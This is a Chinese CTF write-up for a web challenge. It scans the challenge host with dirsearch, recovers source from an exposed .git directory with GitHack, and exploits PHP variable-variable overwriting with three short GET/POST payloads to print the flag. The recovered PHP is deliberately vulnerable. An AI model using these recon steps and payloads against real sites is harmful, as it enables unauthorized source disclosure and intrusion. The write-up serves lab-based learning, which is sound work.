页面进来看起来是个人博客
dirsearch扫一下,发现有并发限制,需要把速度调慢
python dirsearch.py -u http://94195e76-dffb-441d-9b43-685bef98b5e9.node4.buuoj.cn:81/# --timeout=2 -t 1
git泄露,访问/.git/index
得到一个文件,直接打开的话是乱码
使用工具GitHack(git文件泄露工具)
python GitHack.py http://94195e76-dffb-441d-9b43-685bef98b5e9.node4.buuoj.cn:81/.git/
得到flag.php和index.php
在index.php中,发现
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
解法一:
利用exit($handsome);
if($_GET['flag'] === $x && $x !== 'flag'){ //不能同时 flag的值等于某个键名,那个键名又是flag, 就是 flag=a && a!=flag
前面有GET和POST的变量覆盖,所以payload:
?handsome=flag&flag=handsome
解法二:
利用exit($yds);
GET和POST都没有设置flag
再利用变量覆盖,所以payload:
?yds=flag
解法三:
利用exit($is);
GET和POST的flag=flag,再利用变量覆盖
payload:
?is=flag&flag=flag
flag=flag